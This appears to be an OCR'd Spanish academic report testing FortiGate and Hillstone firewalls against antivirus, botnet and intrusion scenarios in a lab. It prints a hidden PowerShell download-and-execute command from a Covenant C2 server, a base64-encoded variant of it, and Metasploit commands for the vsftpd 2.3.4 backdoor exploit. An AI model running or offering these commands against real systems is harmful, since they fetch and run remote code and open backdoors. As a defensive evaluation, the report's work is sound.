Global Resources Application Control Signatures © Version 14.00522 © Upgrade Database
Administrators Device & OS Identification @® Version 1.00073

Admin Profiles Internet Service Database Definitions = © Version 6.00082

Firmware

Intrusion Prevention © Licensed - expires on 2031/01/02
& Settings
= 1PS Definitions © Version 14.00522 © Upgrade Database
SNMP IPS Engine © Version 4.00208
Replacement Messages Malicious URLs © Version 2.00188
FortiGuard 2 * Botnet IPs © Version 4.00391 iH View List
Advanced
N Botnet Domains © Version 2.00153 i ViewlList
Feature Visibility
Certificates AntiVirus O Expired - expired on 2019/01/03 i Renew~
R Policy ject:
& Yooy & Otjects AV Definitions © Version 65.00557
& Security Profiles >
AV Engine © Version 6.00120
* WiFi & Switch Controller >
Mobile Malware © Version 65.00635

FIGURA 22. VISUALIZACION DE SERVICIOS DISPONIBLES

Para el blogueo de direccionamiento IP conocido que tratan de botnets

Ahora sobre el sensor de las politicas de firewalls se empezara a escanear las salidas a

sitios de botnets

£78 FortiGate 30E For

g Teblerode informacion |+ Edit P Sensor

Dashboard
3 FortiGate
X Security Fabric > Nombre defau
8w FortiView s Comentarics | Prevent critical attacks. - B FortiGate-30€
4 Red > PS Signatures

IPS Signa dFilt =

& Sistema > S fers i Ver firmas IPS
B, Politicas y Objetos > F Crearnuevo | # @ Documentatio
& Perfiles d idad v .

CHEEDED T Detalles Eximir IPs Acci6n Log de Paquetes & Ayudaenlinea (2

i M Tutoriales en Video O
AntiVirus
[ sev | £ Pordefecto @ Deshabilitado

Filtro Web e

Filtrode DNS A wunsn

Control de

Aplicaciones

Botnet C&C

Escanear conexiones salientes a sitios botnet  [IBISERTNET

Bloquear | Monitor

L/SSH

Application Signatures
IPS Signatures
Web Rating Overrides
Web Profile Overrides
0 VPN >

OK Cancelar

& Usuarioy Dispositivo >

= Controlador WiFi &
Switch -

FIGURA 23. VENTANA DE CONFIGURACION DE SALIDAS HACIA BOTNET
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Para el bloqueo de Dominios de Botnet se tendra una lista de dominios de botnet que se
afiadiran a la politica del firewall para bloquear

ortiGate 30E FortiGate-30E

. Tablero de informacién -

- Dashboard
XA Security Fabric >
& FortiView >
 Red >
£ Sistema >
B Doliticas y Objetos >

I & Perfiles de Seguridad v

AntiVirus

Filtro Web

Control de

Aplicaciones

Prevencién de

Intrusiones

Inspeccion SSL/SSH

Application Signatures

IPS Signatures

Web Rating Overrides

Web Profile Overrides
0O VPN >
& Usuarioy Dispositivo >
= Controlador WiFi & N

Switch -

Editar perfil de filtro DNS

Nombre default
Comentarios |£efault dns filtering. | 22255
Redirect botnet C&C requests to Block Portal ©

68102 dominios en Paguete de firmas para Botnet
A Actualizacion del paquete Botnet no disponible, Suscripcion
de AntiVirus no encontrada.

o ]

Imponer '‘Blisqueda Segura’ en Google, Bing, YouTube

@ FortiGuard Category Based Filter

Filtros Pre-configurados G PG-13 R

@ Permitir @ Monitor @ Redirect to Block Portal

Nombre Accioén

Adulto/Contenido para Adulto |®15

Alto Consumidor de Anchode Banda @ | @ 6
Interés General - Negocio @B ‘ 15

Interés General - Personal ‘ ® 35

Potencialmente Riesgoso @ | @ 8 ® 1
Unrated €9 | @ 1

FIGURA 24. VENTANA CONFIGURACION BOTNET DNS

Para bloquear las “firmas” en botnet se debera incluir estas en el sensor de IPS.

Tg;le;:::g i;[nrmamdn N Severidad Obietivo S0
- Dashboar .
. W Ao T B servidor Ban
% Security Fabric > | B Critico A M Ciente [ Windows
~ [ Medio b W Linux
s FortiView > '
& Red > |
@ Sistema > y
B Politicas y Objetos > /,
I @ Perfiles de Seguridad v o
AntiVirus + Crearnuevo | # [ botnet x Q Standard Package @
Filtro Web
Nombre Severidad Objetivo 50 Accién CVE-ID
Filtro de DNS
Controlde B FirmaIPs
Aplicaciones A325 Botnet L] Servidor All @ Bloguear
Prevencion de Cliente
Intrusi
nirusiones AAEH Botnet () Servidor Al @ Bloguear
I i6n SSL/SSH
elnt AARC Botnet =mmm Servidor All @ Bloguear
Application Signatures Cliente
5 ABNR.Botnet o Servidor Al @ Bloquear
Web Rating Overrides ADKR Botnet sunn Servidor Al @ Blogquear
Web Prafile Overrides Agobot Phatbot Botnet S Servidor Al @ Blaquear
VPN > Cliente
& Usuarioy Dispositivo > Aldibot Botnet mam Cliente All @ Blogquear
& Controlador Wifi & 5 AlinaosBotnet L) Servidor Al @ Bloquear <
Switch -4 0% T 304/5865
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2.6.2 Hillstone (C2)

Los comandos de C2 (C&C) suelen emitirse a través de HTTP, DNS, Telnet o internet
relay chat

Las mejoras que ofrece a través de la red son: [21]

- Una robusta plataforma de centro de datos, los administradores
pueden proteger a través de la monitorizacion e interrupcion de las
conexiones de C2 desde L3 a L7

- Mejora de la deteccion de los algoritmos de generacion de dominios
(DGAs), a menudo los hosts que han sido infectados generan un pseudo
nombre de dominio incluyendo nombres de servidores C2, esto lo detecta
y previene este tipo de trafico

- Una lista de acceso personalizada C2 de la red de botnets mejorada
hace que los administradores mas facilmente puedan bloquear las
comunicaciones y también personalizar la lista de acceso para decidir
que direcciones ip van a dejar pasar o nombres de dominio, todo gracias
a una amplia base de datos de firmas

- Mejora del soporte del tanel del DNS desviando los mensajes de
respuesta de DNS defectuosos a un lugar seguro para su posterior
analisis, previniendo una conexion a destinos maliciosos

- Ladeteccion avanzada de tuneles DNS, deteccion de intento de
filtracién de datos, aunque vaya encubierta en una solicitud DNS para
evitar blogueo de firewalls

Dashboard iCenter Monitor Policy Object System
& AAAServer Object / Botnet Prevention / Profile
© Radius Dynamic Authorization
Botnet Prevention Rule Configuration
8 SSO Server >
SSO Client > Name * prueba c&c
O User 4 Protocol Types TCP @ LogOnly [EEEEEENEIITG]
2, Rol
o Roe > HTTP @ LogOnly [EEEEEENEIITG]
B9 Track Object
DNS @ logOnly QGEEEHENERIGLE  Sinkhole-Replace
& Anti-Virus >
DNS Tunnel Detection @)  Log Only [ECEEIIIEITG]
Intrusion Prevention
@ > -
System DGA Detection [ @RIl Reset Connection
Botnet Prevention v
Profile
OK Cancel

Address Library
Configuration

DNS Exception List

FIGURA 26. VENTANA DE CONFIGURACION BOTNET PREVENTION HILLSTONE
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2.7 Sandbox

Es un entorno aislado muchas veces siendo una maquina virtual en la que se
descarga/ejecuta software potencialmente peligroso.

Entorno disefiado para proteger el sistema y recursos del equipo en el que se ejecuta,
ya que los procesos que se ejecutan dentro de la sandbox no pueden interactuar con el
sistema operativo o0 con otros programas que se ejecutan fuera de ella

FIGURA 27. CONCEPTO DE SANDBOX
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2.7.1 Fortigate (Sandbox)

Existe otro mecanismo de seguridad incorporado al perfil AV el cual permite la
inspeccidn a través de la nube mediante la opcién de FortiSandbox [19]

Sandbox de FortiGate detecta y analiza malware desconocido, también conocido
como de dia cero el sandboxing en linea ( Inline sandboxing ) analiza en tiempo real y
ofrece esa proteccion inmediata emitiendo veredictos en tiempo real sin afectar la
productividad ni nada.

Network topology example

Cloud ‘ﬂ/
Sandbox

. FortiSandbox
FortiGate Cloud

FIGURA 28. CONCEPTO SANDBOX FORTIGATE

Sandboxing en linea es un servicio de FortiGuard que ofrece un combinado del filtrado
de amenazas avanzada de varias capas, utilizando AV, CPRL, AlI/ML, andlisis
dindmico con redes neuronales profundas e inteligencia de amenazas.
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2.7.2 Hillstone (Sandbox)

Hillstone proporciona técnicas de andlisis tanto del malware como del
comportamiento, ante una sospecha este lo caga en el sandbox para la posterior
ejecucion en un entorno aislado que simule el sistema real [10]

En cuanto al anélisis de malware se basa en la utilizacion de dos técnicas denominadas
estaticas y dinamicas, estaticas las cuales se basan en una comprobacion del cddigo
del archivo para buscar sus vulnerabilidades y el analisis dindmico en un monitoreo en
tiempo real de este

Sandbox utiliza técnicas de comportamiento las cuales incluyen el seguimiento de la
actividad de red, la deteccion de exploits y la deteccion de comportamientos
sospechosos del sistema

Caracteristicas de cloud sanbox:

- Alta tasa de deteccion con el analisis de comportamiento y malware
- Mediciones comparadas con la tecnologia anti-sanbox

- Informacion completa sobre amenazas en los informes

- Actualizacidén continua global de la base de datos de firmas

Files Extraction File behavior analyzing engine Validation & Report
Y A
g —— @ 5
Y b —
A"PEE)-'—:H-—_ )ggg
S
N —
web
A a g ¥ [ [ Y
Mail Q Q Virtual Execution Content & behavior detection El El E

FIGURA 29. HILLSTONE CLOUD-SANDBOX
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2.8 Herramientas

Las herramientas necesarias para las pruebas de demostracion se basaran en descarga
de malware especifico y puesta en ejecucion en entorno seguro para ver interaccion
con el Firewall a excepcion de IDS/IPS e C&C que se usaran herramientas especificas
para simular esa falla

Se usaran paginas oficiales de sitios tanto para descargas como para pruebas de URL
filtering

2.8.1 Kali

Distribucion de Linux que se basa en Debian la cual viene con una serie de paquetes por
defecto ya instalados muy Utiles para pruebas de seguridad y penetracion, esto hace a
las personas poder llevar a cabo una diversidad de pruebas de forma “facil”.

Viene con un arsenal de herramientas tales como Escaneo de puertos, exploits,
ataques de fuerza bruta, etc... y una gran variedad mas

Kali Linux no solo tiene herramientas para el apartado de ataques, sino que también
cubre/aporta sobre el campo de administracion de sistemas teniendo herramientas para
una gestion de paquetes, de la res y virtualizacion entre algunas otras mas

2.8.1.1 IDS/IPS

Nmap: herramienta con la capacidad para realizar escaneos de redes, puertos y
dispositivos, esta herramienta brinda la posibilidad de “descubrir” la red y gracias a ello
la posibilidad de simular comportamiento “negativo” o “extraiio” [6]

Armitage: Herramienta e colaboracion en equipo que permite el uso de Scripts para
Metasploit, la cual permite el uso de diversas pruebas y ataques para varios tipos de
sistemas de seguridad [23]

2.8.1.2 C&C

Covenant: Es una herramienta de C2 que permite a los usuarios ejecutar comandos en
sistemas comprometidos. También se puede utilizar para capturar informacion de
sistema, cargar y descargar archivos y mas. [22]
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2.8.2 Paginas usadas

Las paginas usadas para descarga y prueba del modulo AV son:

- malware.wicar.org
- http://www.eicar.eu

Las paginas usadas para testeo de URL filtering son:

Marca.com
Facebook.com
Twitter
Edu4java
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3 Implementacion Practica

3.1 Mddulo AV
3.1.1 Ataque

Evaluacion de descarga, analisis y deteccion de trafico, y prueba de ejecucion de
worms (gusanos)

El ataque tiene el objetivo de poner ambos dispositivos a prueba y descubrir que estan
siendo capaces de detectar y analizar de trafico, asi como una vez analizado ver su
habilidad para detener descargas o ver si puede frenar ataques de equipos ya infectados
que se esparcen por la red

3.1.1.1 Ataque de descarga

Para esta prueba se procedera a realizar la descarga de un archivo via HTTP el cual se
ofrece de forma legitima para pruebas de AV, la pagina es “malware.wicar.org”

€ C O @ wicarorg/test-malware.htr

% Bookmarks @ (1) WhatsApp ~ AF  Anime online HD. PENDIENTES KISHA. San Saru | Joyas de. Pendientes con Pie. » | DON'T CARE - Ed.

WICAR.org - Test Your Anti-Malware Solution! HOME TEST MALWARE! RESULTS MORE...

Select a test payload...

EICAR TEST-VIRUS MS14-064 XP and below MS14-064 2003 to Windows 10

fficial EICAR.COM anti-virus test file. SL] All W ws NT

This is a 16bit DOS COM file and cannot Internet Explorer Windows OLE Automatior nternet Explorer Windows OLE Automation
hould b d \rray (pre XP) CVE-2014-6332 Array

Java JRE 1.7 Applet MS03-020 MS05-054
et - .

FIGURA 30. PAGINA HTTP DE TESTEO DE AV

Se ofrecen varios “archivos” de prueba que contienen codigo malicioso, para la prueba
valdra cualquiera de los ficheros que ofrecen para la comprobacion de deteccion del
mddulo AV
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3.1.1.2 Atagque de ejecucion

Para esta prueba se va a simular manualmente un virus de botnet

Se utiliza la herramienta covenant para la generacion del Virus o mejor dicho el
comando que ejecutaria él .exe que representaria el virus

< C o 04 172.17.0.1

KaliLinux @ KaliTools & Kall Docs W Kali Forums ¥ Kali NetHunter & Exploit-DB

AovananT

PowerShell Launcher

4 Launchers 4 cals GoHost <> Coue
Url  (TestingPath Host
Launcher
powershell -Sta -Nop -Window Hidden -Command “iex (New-Object Net. WebClient). DownloadString(‘hitp://20.0.0.3/TestingPath’)" A

EncodedLauncher

powershell -Sta -Nop -Window Hidden -EncodedCommand aQBIAHgAIAACAE4AZQBIACOATWBIAGOAZQBJAHQAIABOAGUAJAAUAFCAZQBIAEMADABPAGUADGBOACK (]

FIGURA 31. GENERACION COMANDO VIRUS BOTNET COVENANT

Se creara un servidor botnet para la simulacion mediante el framework Covenant. El
servidor generara un ataque de botnet para la simulacién de un virus a través de un
comando. El comando intentara agregar el equipo a la botnet.

[e+]
Microsoft Windows [Versidn 10.8.19845.2965]
(¢) Microsoft Corporation. Todos los derechos reservados.

C: \WINDOWS\system32>powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://
20.8.8.3/TestingPath')"

FIGURA 32. EJECUCION COMANDO/VIRUS WINDOWS
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3.1.2 Defensa (FortiGate)

Para la realizacion de la prueba se procedera a dejar configurado el “Profile” AV

272 FortiGate 30E  FortiGate-30F

@ Dashboard > “ Edit AntiVirus Profile
~x Security Fabric > Name default
I FortiView > Comments Scan files and block viruses. | 280255
& Network > Detect Viruses Monitor
£ System >
B Policy & Objects N Inspected Protocols
& security Profiles v HTTP ©
SMTP @©
Web Filter POP3 ©
DNS Filter IMAP €@©
MAPI
Application Control @
. i FTP @©
Intrusion Prevention
CIFS O
Email Filter
VolP APT Protection Options
ICAP . .
Content Disarm and Reconstruction [©]
g;%v,l;ﬁpllcatlon Qriginal File Destination FortiSandbox = File Quarantine m
SSL/SSH Inspection Treat Windows Executables in Email Attachments as Viruses @O
Application Signatures Include Mobile Malware Protection (e ]
IPS Signatures N .
Virus Outbreak Prevention @
Web Rating Overrides
Use FortiGuard Outbreak Prevention Database @O
Web Profile Overrides
Use External Malware Block List €@ »
ICAP Servers

FIGURA 33. VENTANA DE CONFIGURACION DE AV PARA LAS PRUEBAS FORTIGATE
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Se aplicaré en la politica de ipv4 de trafico que se quiera controlar

&7 FortiGate 30E FortiGate-30E

@ Dashboard >

Y& Security Fabric >

a4 FortiView >

++ Network >

£ System >

B Policy & Objects ~
Proxy Policy

Authentication Rules
IPv4 DoS Policy
Addresses

Internet Service
Database

Services
Schedules
Virtual IPs
IP Pools
Protocol Options
Traffic Shapers
Traffic Shaping Policy
Traffic Shaping Profile
8 Security Profiles
O VPN

voovoov

& User & Device

-

FIGURA 34. VENTANA CONFIGURACION POLITICA AV Y DEEP-INSPECTION

Se utiliza una inspeccion de SSL llamada “Deep-inspection” debido a que, aunque el

Edit Policy

Firewall / Network Options

NAT ©
IP Pool Configuration (OGN S bl Sl Use Dynamic IP Pool

Preserve Source Port (B

Protocol Options Customer_Proxy v| &

Security Profiles
AntiVirus © I AV-Sandbox | &
‘Weh Filter »
DNS Filter o
Application Control >
IPS e ]
SSL Inspection

Mirror SSL Traffic to Interfaces (B

deep-inspection v | &

Logging Options
Log Allowed Traffic €@ | Security Events

Advanced

wWCCP @
Exempt from Captive Portal (B

protocolo HTTPS ofrece proteccion en Internet al aplicar el cifrado de capa de sockets
seguros (SSL) al trafico web, el trafico cifrado se puede utilizar para sortear las defensas

normales de su red [16]

Para ello con “Deep-inspection” “FortiGate se hace pasar por el destinatario de la sesion

SSL de origen, luego descifra e inspecciona el contenido para encontrar amenazas y

bloquearlas. Luego vuelve a cifrar el contenido y lo envia al destinatario real”

https://docs.fortinet.com/document/fortigate/6.2.15/cookbook/122078/deep-inspection

Decrypted packet
Ioo1on

e ooy
0[00/100/

a:@
scanning
>

/

Network user

=5

HTTPS session
FomGate S—

HTTPS session ( l l ‘

?
;? 55 > ;ig Web server
2775 27 °s

Encrypted packet Encrypted packet

FIGURA 35. CONCEPTO FUNCIONAMIENTO DEEP-INSPECTION
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3.1.2.1 Prueba de descarga

Para la prueba de descarga puede verse que, si se intenta descargar un fichero el cual
contempla un virus o contenido malicioso, el dispositivo FortiGate con su modulo AV
lo detectard y procederd a su bloqueo

ro | malware.wicar.org/data/eicar.com

* Bookmarks @ (1) WhatsApp ~ AF Anime online HD... PENDIENTES KISHA... San Saru | Joyas de... Pendientes con Pie..  » | DONT CARE - Ed...

High Security Alert!!

You are not permitted to download the file "eicar.com” because It is
infected with the virus "EICAR_TEST_FILE".

URL: http://malware.wicar.org/data/eicar.com
File quarantined as: [disabled).

http:/fwww.fortinet.com/ve?vn=EICAR_TEST_FILE

FIGURA 36. VENTANA DE AVISO/BLOQUEO DE DESCARGA DE FORTIGATE

Podra verse desde el menu de logs del médulo AV que de forma correcta detecto que
contenia cddigo malicioso y se procedié a su bloqueo y aviso

Date/Time % Service Source File Name Virus/Bot... U.. Details Action
)23/05/25 21:50:16 HTTP 10.0.0.110 eicar.com EICAR_TEST... URL: http://malware.wicar.org/data/eicar.co.. blocked
)23/05/25 21:49:56 HTTP 10.0.0.110 eicar.com EICAR_TEST... URL: http://malware.wicar.org/data/eicar.co.. blocked
)23/05/2521:49:42 HTTP 10.0.0.110 eicar.com EICAR_TEST... URL: http://malware.wicar.org/data/eicar.co.. blocked
)23/05/25 21:40:49 HTTP 10.0.0.110 eicarl.comzip EICAR_TEST.. URL: http:/i2re8.cybrarro.com/b/eicarl.co.. blocked
)23/05/25 21:40:47 HTTP 10.0.0.110 eicarl.com EICAR_TEST... URL: http://ilpuggdc.shieldtest.com/b/eicar... blocked

FIGURA 37. VENTANA DE LOGS DE AV PRUEBA DESCARGA FORTIGATE
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3.1.2.2 Prueba de ejecucion

A la ejecucion realizada por el PC victima para unirse a la botnet puede verse desde el
menu de logs del AV del FortiGate una nueva entrada la cual es el bloqueo de este
“comando”

E:E FortiGate 30E FortiGate-30E v I O De ‘ admin
" Controll - —
ontroller o & © AddFilter 2Rl (D Details
I Ll Log & Report b -
Forward Traffic Date/Time ¥ Service Source File Name Virus/Botnet User | LogDetails X
. & AntiVirus
Local Traffic 2023/06/1523:12:28 HTTP 10.00.112 TestingPath  PowerShell/Boxter.807!tr
Profile Name default
Multicast Traffic Virus/Botnet PowerShell/Boxter.807!tr
. Virus ID 10040304
Sniffer Traffic Reference  httpr/www fortinet. com/ve?
Events %e;:cuon Virus
Direction_ incoming
Web Filter SQI':;SHHUHE File-was-not-quarantined.
SSL r
FortiSandbox 4o 51 japodgadaleeae2595:
DNS Query Checksum
Submitted to false
Web Application FortiSandbox
Firewall Message File is infected.
Application Control B Other
Intrusion Prevention Log ID 0211008192
I omaly Type utm
Sub Type virus
Anti-Spam Event Type infected
Log event
VolP 1| Aricinal 1404042842419 AEREAN

FIGURA 38. VENTANA LOG AV PRUEBA EJECUCION FORTIGATE
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3.1.3 Defensa (Hillstone)

Para la realizacion de la prueba se procedera a dejar configurado modulo AV de
Hillstone

ﬂl{lgtaﬂe A200 Dashboard iCenter Object Network System
3 APP Book >
anti-virus / Profile
&Yy SSL Proxy
# 518 Server Pool Anti-Virus Rule Configuration
Schedule
Name * Antivirus
B AAAServer
] File Types
© Radius Dynamic Authorization
GzIP MAIL P MS OFFICE
B S50 Server >
HTML BZIP2 TAR Raw data
B SSO Client >
JPEG RAR ELF Others
o u >
e PE RIFF PDF
2 Role >
Protocol Types
EJ  Track Object
HTTP @ Filnagic  Log Only Reset Connection
< Anti-Virus v
SMTP @ FilMagic Log Only EEEEReVIEET]
Profile
POP3 Fill 1 Log Onl Reset Col i
Configuration © I Magie og &nly
@ irsion Prevention , IMAP4 @ FilMagic  Log Only [EEEEEEEIERTT]
System
FTP @ FilMagic Log Only [EEEEEEeLEI]
@ Boinet Prevention >
%7 URL Filtering >
Malicious Website [ @] Log Only Reset Connection
Sandbox ’ Access Control
I
L Netflow ’ Enable Label E-mail
[ Data Security >
T ACL >
=i Collapse

FIGURA 39. VENTANA DE CONFIGURACION DE AV PARA LAS PRUEBAS HILLSTONE
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3.1.3.1 Prueba de descarga

Para la prueba de descarga puede verse que, si se intenta descargar un fichero cuyo
contenido es un virus o malicioso, el dispositivo Hillstone con su modulo AV lo
detectara y procedera a su bloqueo

@ cicartestdownload - Bus= X | @ Download Anti Malware | X @3 eicar.eu/eicar.com.bx @ eicareu X | @ EICAR Test File

CcC 0O A eicar.ey,

% Bookmarks @ (1) WhatsApp A% Anime online HD... PENDIENTES KISHA. San Saru | Joyas de... Pendientes con Pie... » IDONTCARE - Ed._.

Warning

Virus Trojan/win32.eicar is detected from this website, and it is blocked according to the configuration.

To continue visiting, click *Ignore” the waming

lgnore

FIGURA 40. VENTANA DE AVISO/BLOQUEO DE DESCARGA DE HILLSTONE

Para una mejor visualizacion del elemento blogueado y comprobacion mas precisa, se
confirmara a través del log el comportamiento del Hillstone ante el virus

h Dashboard iCantar Monitor Object Network System
Q  Aulhenticated User Threat Log
om0
& Configure & Clear [ Export  Merge Log
Name Type Severty. S Destinatio Applcation/Protoco De
e ’ 1 Trojaniwind2 eicar Malware - Trojan D) =so19847.168 1000210 HTTRTCP Ant
Log v
2 1000210 =g 10847 168 HTTRIICR WGIBIOETI At
Event
3 T =ss98.47.168 1000210 HTTPICP 20230626 16.5655 Antwirus
Netwo
- : =g 10847 108 1000210 HTTRIICR W5 At
Threat Log 5 T =ss198.47.168 1000210 HTTPITCP 20230626 16.55.37 Antwirus
Sessior 6 ) =ssis847168 1000210 HTTPTCP 2023/06/28 16:55 34 Antivirus
NAT Log + 7 Trojaniwin32 sicar Malware - Trojan D) =so9847.168 1000210 HTTRTCP 2023106726 16:5443 Antivirus

FIGURA 41. VENTANA DE LOGS DE AV PRUEBA DESCARGA

A la teoria de Hillstone mencionada también, es capaz de analizar virus en los ficheros
.zip, para ello se procedera a realizar la misma prueba, pero descargando la versién .zip
para verificar la deteccion del fichero

Configuration

A - . Decompression Configuration x
Anti-Virus Global Configuration

©

R N —p— L <eset connecton
® 530Cen : EER nerypted Compressed Noacion [N Reset Connection
2 >

FIGURA 42. VENTANA CONFIGURACION FICHEROS COMPRIMIDOS
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oen

Pendientes con Pie..  » | DONT CARE - Ed... » [ Otros marcadores

C O a eicar.eu

% Bookmarks (@ (1)WhatsApp  AF Anime online HD... PENDIENTES KISHA. . San Saru | Joyas de...

Download Anti Malware Testfile - EICAR

Download area using the standard protocol: HTTP

eicarcom  gicar.com.txt eicarcom2.zip
68 Bytes 68 Bytes 308 Bytes (nested ZIP)

Download area using the secure, SSL enabled protocol : HTTPS

eicarcom eicarcom.txt  eicar_com.zip  eicarcom2.zip
68 Bytes 68 Bytes 184 Bytes 308 Bytes (nested ZIP)

Additional notes:

1. Thus file used to be named ducklin.htm or ducklin-html.htm or similar based on its original author Paul Ducklin and was made in cooperation with CARO.

2. The definition of the file has been refined 1 May 2003 by Eddy Willems in cooperation with all vendors.
3. The content of this documentation (title-only) was adapted | September 2006 to add verification of the activity of anti-malware or anti-spyware products. It was decided not to change the file

itself for backward-compatibility reasons.

Provided by mars solutions GmbH

FIGURA 43. DESCARGAR VIRUS EN .ZIP

La deteccion del virus .zip puede observarse en el log de Hillstone verificandose que
aparece la entrada de “warning” en el log

ICenter Monttor ol System

Threat Log

) Configure

HTTPITCP 2023:06/28 1708:4 Antivinus

Threat Log

o9

Matware - Riskware Low L]

FIGURA 44, VENTANA LOG AV DETALLES .ZIP HILLSTONE
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3.1.3.2 Prueba de ejecucion

A la ejecucion realizada por el PC victima para unirse a la botnet puede verse que
Hillstone no localiz6 y detuvo la operacion de union a la botnet

Hillstone: .., Dashboard iCenter Monilor olicy Object Network A DeveeNameSG000  @admin v (@ Help v

> Threat Log
>
Detection Period  Last 24 Hours [ % it |- |
> @ Configure Merge Log
> Name Type Severity.  Source Destination Application/Protocal  End Time Detected by
>
)
B >
E Lea ¥
t Lo
Network Log
guration Log
Threat Log ‘
=a Collapse ~

FIGURA 45. VENTANA DE LOGS DE AV PRUEBA EJECUCION HILLSTONE
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3.1.4 Discusion

Para la prueba de descarga que ambos han sido capaces de detectar la descarga y que se
trata de un troyano (trojan), esto debido al contenido del fichero el cual tienen en la base
de datos localizado como contenido “malicioso”

FortiGate no ofrece opcidn de configuracion de zip para poder afinar a que profundidad
se quiere adentrar y analizar, si que es capaz de frenar zips pero no se detect6 1 dentro
de otro, pero si que permite configurar que se bloquen todos los ficheros que su
extension sea .zip. Hillstone si fue capaz de bloquear descargas de ficheros
comprimidos como los zips ademas de ofrecer configuracion adicional de a cuantos
niveles se quiera bajar y mirar dentro

FortiGate en la prueba de ejecucion detecto ya que estaba en la base de datos que el
comando lanzado trataba de unirse a una botnet y lo bloqueo, lo tiene registrado como
un virus de Powershell mientras que Hillstone no fue capaz de analizarlo y lo dejo pasar
debido a que penso que era un simple comando de Windows sin intenciones maliciosas
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3.2 Modulo IDS/IPS
3.2.1 Ataqgue

Evaluacion de envios "andémalos" como paquetes fragmentados utilizados para intrusion
IDS y paquetes ACK sin conexion SYN

El ataque tiene el objetivo de poner a prueba los dispositivos en el analisis de trafico y
red para la deteccion de comportamientos extrafios a la hora de que se intenta
establecer conexion como llegada de mensaje ACK sin previo SYN u otros diversos
patrones, para puesta a punto se realizaran pruebas como envio de paquetes
fragmentados y explotacion de exploit vsftpd

3.2.1.1 Ataque de IDS de fragmentacion

Para esta primera prueba se hara uso de la herramienta “nmap” mediante la opcion “-
> para que fragmente el paquete

C: \WINDOWS\system32>nmap -f 10.0.6.111
Warning: Packet fragmentation selected on a host other than Linux, OpenBSD, FreeBSD, or NetBSD. This may or may not wor
k.

Starting Nmap 7.6 ( https://nmap.org ) at 2823-86-©5 11:46 Hora de verano romance
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid
servers with --dns-servers
Nmap scan report for 10.8.6.111
Host is up (©.6019s latency).
[Not shown: 992 closed ports
STATE SERVICE
open ftp
open ssh
open telnet
open http
open https
cisco-scep
sip
unknown

[Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds

FIGURA 46. VENTANA COMANDO NMAP FRAGMENTADO

Puede verse la ejecucion de dicha herramienta y el escaneo de puertos en el dispositivo
de prueba para la demostracion
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3.2.1.2 Ataque de vsftp backdoor

Para esta segunda prueba se hara uso de la herramienta “armitage” y se hara uso de un
exploit de backdoor llamado “vsftpd 234 backdoor”

[=¢
£

Player ¥ ” % [[]j

B omPor-| : : = O 6® a8 Bso|ac

= Armitage

¥ (& exploit
v (& unix .
v (5 ftp &

wsf

Console X | Scan X | Services X | exploit X

TARGET => @

Unknown datastore option: LHOST. Did you mean RHOST?
Unknown datastore option: LPORT. Did you mean RPORT?
msf6é exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf6é exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit -j
*] Exploit running as background job 8.
[*] Exploit completed, but no session was created
[*] 10.0.0.110:21 - Banner: 220 NODO1 FTP server (MikroTik 7.9) ready
10.2.0.110:21 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

FIGURA 47. VENTANA ARMITAGE CON EXPLOIT

El exploit intenta explotar una vulnerabilidad del servidor VSFTP para la creacion de
un backdoor, esto consiste en el envid de una secuencia de bytes especificos en el
puerto 21 en caso de ejecutarse con éxito dara un resultado de la apertura del puerto
6200
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3.2.2

Defensa (FortiGate)

Para la demostracion IDS/IPS se aplicard una configuracion sobre una politica de
seguridad con fuente (interfaz de entrada) WAN y destino (interfaz de salida) LAN en
el dispositivo FortiGate

="= FortiGate 30E FortiGate-30E
=

& Dashboard >

¥x Security Fabric >

& FortiView >

+ Network >

£+ System >

B Policy & Objects v
IPv4 Policy ¢

Proxy Policy

Authentication Rules

Multicast Policy

Local In Policy

IPv4 DoS Policy

Addresses

Internet Service
Database

Services

Schedules

Edit Policy

Security Profiles
AntiVirus

Web Filter

DNS Filter
Application Control
IPS

Email Filter

all_default -

VolP

>
»
»
e J
O
»
»
ICAP >
Web Application Firewall (B

SSL Inspection &

certificate-inspection -

Logging Options
Log Allowed Traffic @ JEE<IIsYATIEY All Sessions

Advanced

Last used
0 second(s) ago

First used
26 minute(s) ago

Hit count

5,707

Active sessions

1 .
Total bytes

12.24MB

@ Documentation

& OnlineHelp &
B Video Tutorials '

FIGURA 48 VENTANA POLITICA IPV4 APLICANDO IPS

El objetivo principal de esta configuracion es demostrar la capacidad del IDS/IPS
para detectar y prevenir intrusiones en el trafico de red que fluye desde la interfaz WAN

hacia la interfaz LAN.

La configuracion presente en la prueba es la siguiente:

=" = FortiGate 30E FortiGate-30E
e

& Dashboard > Edit IPS Sensor
NA Security Fabric >
» Name all_default
s FortiView >
Comments | All predefined signatures with
+ Network > default setting. PR
L System >
B Policy & Objects N IPS Signatures and Filters
& Security Profiles v 4+ CreateNew | &' Edi Delete
AntiVirus
Details Exempt IPs Action Packet Logging
Web Filter
ST I Al Attributes @ Block @ Enabled
ilter

Application Control

Intrusion Prevention v 1

Email Filter

VoIP Botnet C&C

ICAP Scan Outgoing Connections to Botnet Sites ~ Disable Monitor

Web Application = 3882 |P Addresses in botnet
Firewall

package.

FIGURA 49. VENTANA CONFIGURACION IPS

Se configurada de la forma maés restrictiva para la mejor captacion de lo que bloquea y
pasa
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3.2.2.1 Prueba de IDS de fragmentacion

Para una visualizacion un poco més clara de lo que paso/hizo el dispositivo FortiGate
puede visualizarse los logs de IPS para ver que interacciones bloqueo

=" = FortiGate 30E FortiGate-30E
-

Multicast Traffic C & | O AddFilter
ShLiiEr WE Date/Time % Severity Source Prot... User Action Count Attack Name
Events

2023/06/0511:41:58 (1] 20.0.0.2 [} dropped Port.Scanning
AntiVirus

2023/06/05 11:41:58 [ 1] 20.0.0.2 6 dropped Port.Scanning
‘Web Filter
- 2023/06/05 11:41:58 (1] 20002 6 dropped Port.Scanning

2023/06/05 11:41:58 (1] 20002 6 dropped Port.Scanning
DNS Query

41: . 8 i

Web Application 2023/06/05 11:41:58 (1] 20002 6 dropped Port.Scanning
Firewall 2023/06/05 11:41:57 um 20002 6 dropped Port.Scanning

